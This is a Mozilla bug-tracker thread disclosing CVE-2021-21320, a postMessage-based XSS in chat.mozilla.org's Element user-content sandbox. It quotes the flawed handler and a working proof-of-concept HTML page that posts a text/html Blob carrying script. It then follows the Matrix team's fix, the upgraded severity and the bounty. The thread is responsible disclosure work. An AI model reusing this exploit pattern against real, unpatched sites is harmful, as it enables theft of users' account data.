Closed Bug 1692696 (CVE-2021-21320) Opened 3 years ago Closed 3 years ago

XSS via postMessage in chat.mozilla.org

Categories

(Websites :: Other, defect)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: guilhermeassmannn, Unassigned)

References

()

Details

(Keywords: sec-moderate, wsec-xss, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

Description

Hi, i would like to report a XSS in chat.mozilla.org that can affect other subdomains. This XSS happen's when a user are logged in chat.mozilla.org, in https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2fmydomain.com the script that is loaded wait for a postMessage action, the postMessage can be send with various inputs to the script create a img tag and a link to this image. However, the input permits that the user set a blob structure for this image link, so is possible to define a content-type to this link.

  • vulnerable code
1 window.onmessage = function(e) {
2            e.origin === o && (e.data.blob ? function(e) {
3                const t = e.data
4                  , n = document.createElement("img");
5                n.id = "img",
6                n.src = t.imgSrc,
7                n.style = t.imgStyle;
8                const o = document.createElement("a");
9                o.id = "a",
10               o.rel = "noreferrer noopener",
11               o.download = t.download,
12               o.style = t.style,
13               o.style.fontFamily = "Arial, Helvetica, Sans-Serif",
14               o.href = window.URL.createObjectURL(t.blob),
15               o.appendChild(n),
16               o.appendChild(document.createTextNode(t.textContent));
17               const r = document.body;
18               r.style = "margin: 0px; overflow: hidden",
19               r.appendChild(o),
20               e.data.auto && o.click()
21          }
        ...

In the line 2 the message retrieve a blob sended by the user (e.data.blob) and without verify the content-type, it's passed to createObjectURL in the line 14.
The unique thing that is little bit boring in this XSS is the user interaction the is needed, this users interaction is trivial because the download attribute (line 11), because of that, the user need to click with the right button of the mouse over the image and open it in another tab. So, for this i create a simple image saying "open this image in a new tab", and i passed this image via postMessage in the imgSrc attribute (line 6).

  • poc.html
<html>
<head>
</head>
<body>
<center>Click anywhere in the page</center>
<script>
let x;
        onclick = () => {
            x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain);
            setTimeout(() => {
                const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" });
                x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*");
            }, 2500);
        }
</script>
</body>
</html>

To start the PoC you just need to click in the page, after this a new tab will be opened and you need to click with the right button in the image to open it and the XSS will be triggered.

Impact

  • cookie bomb
  • Session Fixation

Steps to reproduce

  1. Open the browser of your preference
  2. Make sure that you're logged in chat.mozilla.org
  3. Navigate to poc.html
  4. Click anywhere in the page
  5. In the new tab, click with the right button of the mouse in the image
  6. The XSS will be triggered
Flags: sec-bounty?
Type: task → defect

Guilherme: chat.mozilla.org is running Matrix to the best of my understanding. Have you reported this issue to Matrix?

MHoye: including you here, in the case you would like to escalate this to Matrix.

Flags: needinfo?(mhoye)

I'm on it.

Flags: needinfo?(mhoye) → needinfo?(jryans)

Guilherme, thanks for reporting this. I am part of the Matrix core team, and we have reviewed your report.

From our initial analysis so far, it seems the severity here is limited to a user being confused into opening a document they are not expecting. The content is opened with a blob origin that can't access any Matrix / Element user data, so things such as messages or secrets are not at risk.

We have fixed this issue by removing the origin parameter. We intend to disclose this issue and distribute the fix as part of our next regular release, which should be on or around 2021-03-01.

For any future Matrix-related vulnerabilities, please contact us directly as described in our disclosure policy.

Would you like to be credited in the release disclosure and added to the hall of fame list? If so, what name should we use?

Flags: needinfo?(jryans) → needinfo?(guilhermeassmannn)

Hi, ryan, is possible to assign a CVE too? However, you can use “Guilherme Keerok” in the credits!

Flags: needinfo?(guilhermeassmannn)

Yes, it should be possible to get a CVE ID. We'll work on requesting one.

Do you have a GitHub account? We'll be using GitHub's security advisory process, and we can link to your GitHub account in the credits if you have one.

Flags: needinfo?(guilhermeassmannn)

this is my github https://github.com/keerok, also, if needed here is my twitter too https://twitter.com/k33r0k

Flags: needinfo?(guilhermeassmannn)

GitHub has assigned CVE-2021-21320 to this report. I have added your GitHub account to the draft advisory.

We'll publish the advisory on or around 2021-03-01, alongside the release of the fixed version.

Alias: CVE-2021-21320

We have now publicised the issue in several places:

Deployments such as https://chat.mozilla.org have been updated with the fixed version of Element.

We have also added you to the hall of fame list (it may be a few minutes while the site redeploys).

Thanks again for disclosing this issue to us.

Status: UNCONFIRMED → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED

hi Ryan, thanks!

Hi Ryan, I think there was a confusion in the description of the vulnerability in "The user content sandbox can be abused to trick users into opening unexpected documents. The content is opened with a blob origin that cannot access Matrix user data, so messages and secrets are not at risk.".

Since the blob is not sandboxed and the origin of any blob document is the origin of the creator of the blob, in this case, chat.mozilla.org, so is possible to get the user data also is possible to do various malicious actions in the victim account.

Ok, I believe we can unlock this bug. Clients and SDKs have been updated, Chat.m.o is no longer impacted and all the relevant public announcements have been made.

Guilherme, thank you again for disclosing this issue responsibly and allowing us the time and space to resolve it correctly.

Guilherme, thanks for mentioning that the impact may be larger here.

Mhoye, before opening the bug, let me review the additional impact mentioned in comment 10 with the rest of the team first, as we may need to take additional actions.

Guilherme, after taking another look, we agree that the severity is indeed higher than we originally understood. Matrix user data (and any other storage for the Element origin) is indeed accessible to the attacker's script.

We are working through some additional notification steps given the higher severity. Once that is done, we'll update the public notices to describe the increased impact.

This web property is not part of our bounty typically, but we feel like it's a good prompt to add it to our bounty program. We will offer a reward here on the value to get this moving into supporting it on our bounty.

Flags: sec-bounty? → sec-bounty+

Looks like Matrix has their own bounty (https://app.intigriti.com/programs/matrix/matrix/detail), so in the future, unless it's an issue with out implementation, we should defer future bug reports there.

Thanks Jonathan, I never received a bounty around here, how do I add the receiving (Paypal or any other method) method?

(In reply to Guilherme Keerok from comment #16)

Thanks Jonathan, I never received a bounty around here, how do I add the receiving (Paypal or any other method) method?

You should be contacted about payment setup. I'll NI Tom to see if he can check our records.

Flags: needinfo?(tom)

(In reply to Jonathan Claudius [:claudijd] (use NEEDINFO) from comment #15)

Looks like Matrix has their own bounty (https://app.intigriti.com/programs/matrix/matrix/detail), so in the future, unless it's an issue with out implementation, we should defer future bug reports there.

At the moment, this is a temporary program funded by the European Commission, which is likely to expire later this year. Unless some other bounty program is arranged for Matrix projects, it would fall back to our default disclosure process (https://matrix.org/security-disclosure-policy/) which does not currently offer bounties.

I'll be emailing you this week.

Flags: needinfo?(tom)

As for updating the existing disclosures, we still intend to do so soon, but there are a few enterprise deployments that have not yet been updated, and we need to work together with teams across several companies to get that done.

Once those deployments are updated, I'll update the disclosures as I mentioned in comment 13.

Enterprise deployments are now updated, and we have publicised the increased severity.

Mhoye, feel free to open this bug if appropriate.

Flags: needinfo?(mhoye)

I've notified the Matrix team of our intent to unlock it, and am waiting for a confirmation. Once that's happened I'll flip the switch.

Group: websites-security
Flags: needinfo?(mhoye)
You need to log in before you can comment on or make changes to this bug.